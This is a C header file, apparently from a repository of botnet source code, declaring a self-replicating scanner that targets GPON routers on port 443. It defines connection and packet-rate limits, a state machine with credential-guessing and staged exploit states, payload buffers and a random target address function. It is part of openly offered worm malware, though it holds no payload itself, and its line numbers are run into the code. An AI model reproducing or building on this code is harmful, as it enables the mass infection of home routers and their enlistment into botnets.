Path: blob/master/Botnets/Self Reps/GPON/gpon443.h
5038 views
#ifdef SELFREP1#pragma once2#include <stdint.h>3#include "includes.h"45#ifdef DEBUG6#define GPON443_SCANNER_MAX_CONNS 37#define GPON443_SCANNER_RAW_PPS 7888#else9#define GPON443_SCANNER_MAX_CONNS 25610#define GPON443_SCANNER_RAW_PPS 78811#endif1213#define GPON443_SCANNER_RDBUF_SIZE 108014#define GPON443_SCANNER_HACK_DRAIN 641516struct gpon443_scanner_connection17{18int fd, last_recv;19enum20{21GPON443_SC_CLOSED,22GPON443_SC_CONNECTING,23GPON443_SC_GET_CREDENTIALS,24GPON443_SC_EXPLOIT_STAGE2,25GPON443_SC_EXPLOIT_STAGE3,26} state;27ipv4_t dst_addr;28uint16_t dst_port;29int rdbuf_pos;30char rdbuf[GPON443_SCANNER_RDBUF_SIZE];31char **credentials;32char payload_buf[5000], payload_buf2[5000];33int credential_index;34};3536void gpon443_scanner();37void gpon443_kill(void);3839static void gpon443_setup_connection(struct gpon443_scanner_connection *);40static ipv4_t get_random_gpon443_ip(void);4142#endif434445